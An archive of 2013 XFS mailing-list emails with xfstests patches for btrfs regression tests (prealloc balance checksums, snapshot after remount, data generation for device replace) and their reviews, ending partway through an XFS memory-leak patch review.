X-ASG-Orig-Subj: [PATCH] xfstests: btrfs/015 regression test for prealloc with balance Message-ID: <1380292053-8123-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.8.3.1 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1380292056 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140976 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature We had a regression where we were not copying csums properly when balancing a prealloc extent. Unfortunately the way this showed up the most was with the csum simply missing, which doesn't result in an error to userspace. So I've copied what generic/310 does and check dmesg for csum errors when the test starts and then compare that count to the csum errors after the test finishes to see if there was a problem. This approach caught the error without my fix, and then passed fine with my fix in place but with the previous errors still in dmesg. Thanks, Signed-off-by: Josef Bacik --- tests/btrfs/015 | 87 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/015.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 90 insertions(+) create mode 100644 tests/btrfs/015 create mode 100644 tests/btrfs/015.out diff --git a/tests/btrfs/015 b/tests/btrfs/015 new file mode 100644 index 0000000..d463e48 --- /dev/null +++ b/tests/btrfs/015 @@ -0,0 +1,87 @@ +#! /bin/bash +# FS QA Test No. btrfs/015 +# +# Regression test for balance with prealloc extents. This checks to make sure +# we are balacing prealloc'ed extents properly by making sure we don't have any +# csum errors. Unfortunately this manifests itself with no csum which means +# userspace doesn't get an error when reading the file back so we have to grok +# dmesg to see if there was a csum error. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Fusion IO. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ + +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +nr_csum_no_found=$(dmesg | grep -c "no csum found") +nr_csum_failed=$(dmesg | grep -c "csum failed") + +_check_csum_error() +{ + new_csum_no_found=$(dmesg | grep -c "no csum found") + new_csum_failed=$(dmesg | grep -c "csum failed") + + if [ $nr_csum_no_found -eq $new_csum_no_found -a \ + $nr_csum_failed -eq $new_csum_failed ]; then + return 0 + fi + return 1 +} +$XFS_IO_PROG -f -c "falloc 0 1M" -c "pwrite 16k 8k" -c "fsync" \ + $SCRATCH_MNT/foo > $seqres.full 2>&1 +$BTRFS_UTIL_PROG fi ba $SCRATCH_MNT >> $seqres.full 2>&1 || \ + _fail "balance failed" +_scratch_unmount +_scratch_mount +$XFS_IO_PROG -c "pread 0 1M" $SCRATCH_MNT/foo >> $seqres.full 2>&1 || \ + _fail "pread failed" + +# This sucks but unfortunately it is the only way to be sure something didn't go +# wrong. +_check_csum_error || _fail "csum detected, please check dmesg" + +echo "Silence is golden" +status=0 ; exit diff --git a/tests/btrfs/015.out b/tests/btrfs/015.out new file mode 100644 index 0000000..fee0fcf --- /dev/null +++ b/tests/btrfs/015.out @@ -0,0 +1,2 @@ +QA output created by 015 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index 3a5747f..dc5bbea 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -17,3 +17,4 @@ 012 auto quick 013 auto quick 014 auto quick +015 auto quick -- 1.8.3.1 From sbehrens@giantdisaster.de Fri Sep 27 10:52:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7295F7F53 for ; Fri, 27 Sep 2013 10:52:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1941FAC002 for ; Fri, 27 Sep 2013 08:52:40 -0700 (PDT) X-ASG-Debug-ID: 1380297157-04bdf02f211525b10001-NocioJ Received: from mo-p00-ob.rzone.de (mo-p00-ob.rzone.de [81.169.146.160]) by cuda.sgi.com with ESMTP id AC6WmNbxaGO60FFX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Sep 2013 08:52:39 -0700 (PDT) X-Barracuda-Envelope-From: sbehrens@giantdisaster.de X-Barracuda-Apparent-Source-IP: 81.169.146.160 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; t=1380297157; l=3250; s=domk; d=giantdisaster.de; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References: Subject:To:MIME-Version:From:Date:X-RZG-CLASS-ID:X-RZG-AUTH; bh=SQ8WCXXRnK/TolFSW2aOhKQvzh8=; b=REyzPnoYpIvwti9gYMdBHc8Z92EN9SJQ/e+1hkk0IToKINiIA/QDW1NHskOeg9U6ApN hIRYJFuUo6eiI6/JAv/wf/1PdCsaJuOuxTmmZTwAspfybVwcKe3oDCmtdbyD5iAfu5T5B Z056K+Ra+cPEQQ+R7kHQkz0risIs8JaLIOw= X-RZG-AUTH: :IGUKYFjleetgZuRbHZjp6Ve7NzeE1efWuTR/wV06y353QgIuD5+acdRFtJ8MDHZp4u74mTVB5dOWYQ== X-RZG-CLASS-ID: mo00 Received: from [172.24.1.80] (yian-ho01.nir.cronon.net [192.166.201.94]) by smtp.strato.de (RZmta 32.6 AUTH) with (TLSv1.0:DHE-RSA-AES256-SHA encrypted) ESMTPSA id L079a2p8RF639Q ; Fri, 27 Sep 2013 17:52:34 +0200 (CEST) Message-ID: <5245A9C2.7030404@giantdisaster.de> Date: Fri, 27 Sep 2013 17:52:34 +0200 From: Stefan Behrens User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: Josef Bacik , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: btrfs/014: add a regression test for snapshot creation References: <1380290137-5484-1-git-send-email-jbacik@fusionio.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/014: add a regression test for snapshot creation In-Reply-To: <1380290137-5484-1-git-send-email-jbacik@fusionio.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-p00-ob.rzone.de[81.169.146.160] X-Barracuda-Start-Time: 1380297158 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140978 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, 27 Sep 2013 09:55:37 -0400, Josef Bacik wrote: > We had a regression where you couldn't snapshot a file system if you mounted it > ro and then remounted it rw. This is a test that does just that to make sure we > don't have this problem again. I ran the test without the fix and it blew up, > and then applied the fix and verified that it passed. Thanks, > > Signed-off-by: Josef Bacik > --- > tests/btrfs/014 | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/014.out | 2 ++ > tests/btrfs/group | 1 + > 3 files changed, 64 insertions(+) > create mode 100644 tests/btrfs/014 > create mode 100644 tests/btrfs/014.out > > diff --git a/tests/btrfs/014 b/tests/btrfs/014 > new file mode 100644 > index 0000000..8302f5f > --- /dev/null > +++ b/tests/btrfs/014 > @@ -0,0 +1,61 @@ > +#! /bin/bash > +# FS QA Test No. btrfs/014 > +# > +# Regression test to make sure we can create a snapshot after mounting with > +# readonly and remounting rw. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 Fusion IO. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +# > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > + > +status=1 # failure is the default! > + > +_cleanup() > +{ > + rm -f $tmp.* > +} > + > +trap "_cleanup ; exit \$status" 0 1 2 3 15 > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > + > +rm -f $seqres.full > + > +_scratch_mkfs > /dev/null 2>&1 > +_scratch_mount -o ro > +_scratch_mount -o rw,remount > + > +$BTRFS_UTIL_PROG sub snap $SCRATCH_MNT $SCRATCH_MNT/snap >> $seqres.full 2>&1 \ > + || _fail "couldn't create snapshot" > + > +echo "Silence is golden" > +status=0 ; exit > diff --git a/tests/btrfs/014.out b/tests/btrfs/014.out > new file mode 100644 > index 0000000..db5250b > --- /dev/null > +++ b/tests/btrfs/014.out > @@ -0,0 +1,2 @@ > +QA output created by 014 > +Silence is golden > diff --git a/tests/btrfs/group b/tests/btrfs/group > index 8a168d5..3a5747f 100644 > --- a/tests/btrfs/group > +++ b/tests/btrfs/group > @@ -16,3 +16,4 @@ > 011 auto > 012 auto quick > 013 auto quick > +014 auto quick > Nothing to complain about. Reviewed-by: Stefan Behrens From sbehrens@giantdisaster.de Fri Sep 27 10:52:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 11EFC7F67 for ; Fri, 27 Sep 2013 10:52:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EEB548F8066 for ; Fri, 27 Sep 2013 08:52:48 -0700 (PDT) X-ASG-Debug-ID: 1380297166-04cb6c377766a9f0001-NocioJ Received: from mo-p00-ob.rzone.de (mo-p00-ob.rzone.de [81.169.146.162]) by cuda.sgi.com with ESMTP id 4XnZ3Ii8R2l3jRLa (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 27 Sep 2013 08:52:47 -0700 (PDT) X-Barracuda-Envelope-From: sbehrens@giantdisaster.de X-Barracuda-Apparent-Source-IP: 81.169.146.162 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; t=1380297166; l=4546; s=domk; d=giantdisaster.de; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References: Subject:To:MIME-Version:From:Date:X-RZG-CLASS-ID:X-RZG-AUTH; bh=F2DVK6WUX8S0goIRGZJt3s4rN9E=; b=YyAW1FZqdr3izbPKIy+NaO4JbDXnicq9c/90pDnHivjh6BdX0cXIkSjkoK3TVWVf7Nr 35QnkxFUJxW71ba2f0UBC0nP/Ocfuve42CC9dhQtX92vWKuB1SVhXpVkj5YHR65fPk7m3 3a1Yy2S78hObdb3zyawLceBzkFPGI4yvzKI= X-RZG-AUTH: :IGUKYFjleetgZuRbHZjp6Ve7NzeE1efWuTR/wV06y353QgIuD5+acdRFtJ8MDHZp4u74mTVB5dOWYQ== X-RZG-CLASS-ID: mo00 Received: from [172.24.1.80] (yian-ho01.nir.cronon.net [192.166.201.94]) by smtp.strato.de (RZmta 32.6 AUTH) with (TLSv1.0:DHE-RSA-AES256-SHA encrypted) ESMTPSA id j07f96p8REeFdG ; Fri, 27 Sep 2013 17:52:44 +0200 (CEST) Message-ID: <5245A9D1.2000100@giantdisaster.de> Date: Fri, 27 Sep 2013 17:52:49 +0200 From: Stefan Behrens User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: Josef Bacik , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: btrfs/015 regression test for prealloc with balance References: <1380292053-8123-1-git-send-email-jbacik@fusionio.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/015 regression test for prealloc with balance In-Reply-To: <1380292053-8123-1-git-send-email-jbacik@fusionio.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-p00-ob.rzone.de[81.169.146.162] X-Barracuda-Start-Time: 1380297167 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140978 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, 27 Sep 2013 10:27:33 -0400, Josef Bacik wrote: > We had a regression where we were not copying csums properly when balancing a > prealloc extent. Unfortunately the way this showed up the most was with the > csum simply missing, which doesn't result in an error to userspace. So I've > copied what generic/310 does and check dmesg for csum errors when the test > starts and then compare that count to the csum errors after the test finishes to > see if there was a problem. This approach caught the error without my fix, and > then passed fine with my fix in place but with the previous errors still in > dmesg. Thanks, > > Signed-off-by: Josef Bacik > --- > tests/btrfs/015 | 87 +++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/015.out | 2 ++ > tests/btrfs/group | 1 + > 3 files changed, 90 insertions(+) > create mode 100644 tests/btrfs/015 > create mode 100644 tests/btrfs/015.out > > diff --git a/tests/btrfs/015 b/tests/btrfs/015 > new file mode 100644 > index 0000000..d463e48 > --- /dev/null > +++ b/tests/btrfs/015 > @@ -0,0 +1,87 @@ > +#! /bin/bash > +# FS QA Test No. btrfs/015 > +# > +# Regression test for balance with prealloc extents. This checks to make sure > +# we are balacing prealloc'ed extents properly by making sure we don't have any > +# csum errors. Unfortunately this manifests itself with no csum which means > +# userspace doesn't get an error when reading the file back so we have to grok > +# dmesg to see if there was a csum error. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 Fusion IO. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +# > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > + > +status=1 # failure is the default! > + > +_cleanup() > +{ > + rm -f $tmp.* > +} > + > +trap "_cleanup ; exit \$status" 0 1 2 3 15 > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > + > +rm -f $seqres.full > + > +_scratch_mkfs > /dev/null 2>&1 > +_scratch_mount > + > +nr_csum_no_found=$(dmesg | grep -c "no csum found") > +nr_csum_failed=$(dmesg | grep -c "csum failed") > + > +_check_csum_error() > +{ > + new_csum_no_found=$(dmesg | grep -c "no csum found") > + new_csum_failed=$(dmesg | grep -c "csum failed") > + > + if [ $nr_csum_no_found -eq $new_csum_no_found -a \ > + $nr_csum_failed -eq $new_csum_failed ]; then > + return 0 > + fi > + return 1 > +} > +$XFS_IO_PROG -f -c "falloc 0 1M" -c "pwrite 16k 8k" -c "fsync" \ > + $SCRATCH_MNT/foo > $seqres.full 2>&1 > +$BTRFS_UTIL_PROG fi ba $SCRATCH_MNT >> $seqres.full 2>&1 || \ > + _fail "balance failed" > +_scratch_unmount > +_scratch_mount > +$XFS_IO_PROG -c "pread 0 1M" $SCRATCH_MNT/foo >> $seqres.full 2>&1 || \ > + _fail "pread failed" > + > +# This sucks but unfortunately it is the only way to be sure something didn't go > +# wrong. > +_check_csum_error || _fail "csum detected, please check dmesg" > + > +echo "Silence is golden" > +status=0 ; exit > diff --git a/tests/btrfs/015.out b/tests/btrfs/015.out > new file mode 100644 > index 0000000..fee0fcf > --- /dev/null > +++ b/tests/btrfs/015.out > @@ -0,0 +1,2 @@ > +QA output created by 015 > +Silence is golden > diff --git a/tests/btrfs/group b/tests/btrfs/group > index 3a5747f..dc5bbea 100644 > --- a/tests/btrfs/group > +++ b/tests/btrfs/group > @@ -17,3 +17,4 @@ > 012 auto quick > 013 auto quick > 014 auto quick > +015 auto quick > Nothing to complain about. Reviewed-by: Stefan Behrens From list.btrfs@jan-o-sch.net Fri Sep 27 11:34:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CFAC47F52 for ; Fri, 27 Sep 2013 11:34:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4837CAC005 for ; Fri, 27 Sep 2013 09:34:27 -0700 (PDT) X-ASG-Debug-ID: 1380299664-04cb6c3501150a80001-NocioJ Received: from mail.in8.de (brockman.in8.de [85.214.220.56]) by cuda.sgi.com with ESMTP id uqEMWYw3wlsudLgs for ; Fri, 27 Sep 2013 09:34:25 -0700 (PDT) X-Barracuda-Envelope-From: list.btrfs@jan-o-sch.net X-Barracuda-Apparent-Source-IP: 85.214.220.56 Received: from [172.24.1.213] (unknown [192.166.201.94]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.in8.de (Postfix) with ESMTPSA id 63B3B6AC10E; Fri, 27 Sep 2013 18:34:18 +0200 (CEST) Message-ID: <5245B38F.20800@jan-o-sch.net> Date: Fri, 27 Sep 2013 18:34:23 +0200 From: Jan Schmidt User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/17.0 Thunderbird/17.0 MIME-Version: 1.0 To: Stefan Behrens CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, jbacik@fusionio.com Subject: Re: [PATCH] xfstests: btrfs/011 improvement for compressed filesystems References: <1379068041-4299-1-git-send-email-sbehrens@giantdisaster.de> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/011 improvement for compressed filesystems In-Reply-To: <1379068041-4299-1-git-send-email-sbehrens@giantdisaster.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: brockman.in8.de[85.214.220.56] X-Barracuda-Start-Time: 1380299664 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140978 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, September 13, 2013 at 12:27 (+0200), Stefan Behrens wrote: > Josef noticed that using /dev/zero to generate most of the test > data doesn't work if someone overides the mount options to > enable compression. The test that performs a cancelation failed > because the replace operation was already finished when the > cancel request was executed. > > Since /dev/urandom is too slow to generate multiple GB, the > way how the filesystem data is generated is completely changed > with this patch. Now /dev/urandom is used to generate one 1MB > file and this file is copied up to 2048 times. /dev/zero is no > longer used. > > The runtime of the test is about the same as before. Compression > works now, online deduplication will again cause issues, but > we don't have online deduplicatin today. > > Reported-by: Josef Bacik > Signed-off-by: Stefan Behrens > --- > tests/btrfs/011 | 46 ++++++++++++++++++++++++++++++---------------- > 1 file changed, 30 insertions(+), 16 deletions(-) > > diff --git a/tests/btrfs/011 b/tests/btrfs/011 > index c8b4aac..71ff3de 100755 > --- a/tests/btrfs/011 > +++ b/tests/btrfs/011 > @@ -78,6 +78,7 @@ workout() > local quick="$4" > local source_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $1}'`" > local target_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $NF}'`" > + local fssize > > if [ "`echo $SCRATCH_DEV_POOL | wc -w`" -lt `expr $num_devs4raid + 1` ]; then > echo "Skip workout $1 $2 $3 $4" >> $seqres.full > @@ -107,33 +108,46 @@ workout() > _notrun "Different device sizes detected" > fi > > + if [ `$BTRFS_SHOW_SUPER_PROG $SCRATCH_DEV | grep dev_item.total_bytes | awk '{print $2}'` -lt 2500000000 ]; then > + _notrun "device size too small" > + fi > + > _scratch_mount > > - # Generate 500 times 20K extents in the data chunk and fill up > - # metadata with inline extents. Ignore ENOSPC. > + # Generate metadata and some minimal user data, generate 500 times > + # 20K extents in the data chunk and fill up metadata with inline > + # extents. > for i in `seq 1 500`; do > dd if=/dev/urandom of=$SCRATCH_MNT/l$i bs=16385 count=1 > dd if=/dev/urandom of=$SCRATCH_MNT/s$i bs=3800 count=1 > done > /dev/null 2>&1 > > + # /dev/urandom is slow but has the benefit that the generated > + # contents does not shrink during compression. > + # Generate a template once and quickly copy it multiple times. > + # Obviously with online deduplication this will not work anymore. > + dd if=/dev/urandom of=$SCRATCH_MNT/t0 bs=1M count=1 > /dev/null 2>&1 > + > if [ "${quick}Q" = "thoroughQ" ]; then > # The intention of this "thorough" test is to increase > # the probability of random errors, in particular in > # conjunction with the background noise generator and > - # a sync call while the replace operation in ongoing. > - # Unfortunately it takes quite some time to generate > - # the test filesystem, therefore most data consists out > - # of zeros although this data is not very useful for > - # detecting misplaced read/write requests. > - # Ignore ENOSPC, it's not a problem.. > - dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=200 >> $seqres.full 2>&1 & > - dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=2000 >> $seqres.full 2>&1 > - wait > + # a sync call while the replace operation is ongoing. > + fssize=2048 > elif [ "${with_cancel}Q" = "cancelQ" ]; then > - # produce some data to prevent that the replace operation > - # finishes before the cancel request is started > - dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=1000 >> $seqres.full 2>&1 > + # The goal is to produce enough data to prevent that the > + # replace operation finishes before the cancel request > + # is started. > + fssize=1024 > + else > + fssize=64 > fi > + > + # since the available size was tested before, do not tolerate > + # any failures > + for i in `seq $fssize`; do > + cp $SCRATCH_MNT/t0 $SCRATCH_MNT/t$i || _fail "cp failed" > + done > /dev/null 2>> $seqres.full > sync; sync > > btrfs_replace_test $source_dev $target_dev "" $with_cancel $quick > @@ -214,7 +228,7 @@ btrfs_replace_test() > # before the status is printed > $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 > cat $tmp.tmp >> $seqres.full > - grep -q canceled $tmp.tmp || _fail "btrfs replace status failed" > + grep -q canceled $tmp.tmp || _fail "btrfs replace status (canceled) failed" > else > if [ "${quick}Q" = "thoroughQ" ]; then > # On current hardware, the thorough test runs > @@ -226,7 +240,7 @@ btrfs_replace_test() > > $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 > cat $tmp.tmp >> $seqres.full > - grep -q finished $tmp.tmp || _fail "btrfs replace status failed" > + grep -q finished $tmp.tmp || _fail "btrfs replace status (finished) failed" > fi > > if ps -p $noise_pid | grep -q $noise_pid; then > The "Q"-comparisons look a bit strange to me, but they've been there before. Reviewed-by: Jan Schmidt -Jan From sandeen@sandeen.net Fri Sep 27 11:44:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DB9947F52 for ; Fri, 27 Sep 2013 11:44:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6BBAEAC004 for ; Fri, 27 Sep 2013 09:44:24 -0700 (PDT) X-ASG-Debug-ID: 1380300263-04bdf02f2315293c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 1NUvDsOnPhngUKBm for ; Fri, 27 Sep 2013 09:44:23 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id AFF9A617434F; Fri, 27 Sep 2013 11:44:22 -0500 (CDT) Message-ID: <5245B5E5.7000206@sandeen.net> Date: Fri, 27 Sep 2013 11:44:21 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename References: <20130927130140.640252809@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix memory leak in xfs_dir2_node_removename In-Reply-To: <20130927130140.640252809@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380300263 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140978 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/27/13 8:01 AM, Mark Tinguely wrote: > Free the memory pointed to by state before returning on error from > xfs_dir2_node_removename.c > > Signed-off-by: Mark Tinguely > --- > Found by Coverity (134681) in userspace, same patch applies there > also. Heh, looks like that one has been around since the dawn of time, thanks. Reviewed-by: Eric Sandeen how do we handle the matching userspace fixes, separate patch to be explicit? Wait for the next syncup? Thanks, -Eric > fs/xfs/xfs_dir2_node.c | 10 +++++----- > 1 file changed, 5 insertions(+), 5 deletions(-) > > Index: b/fs/xfs/xfs_dir2_node.c > =================================================================== > --- a/fs/xfs/xfs_dir2_node.c > +++ b/fs/xfs/xfs_dir2_node.c > @@ -2131,10 +2131,9 @@ xfs_dir2_node_removename( > /* > * Didn't find it, upper layer screwed up. > */ > - if 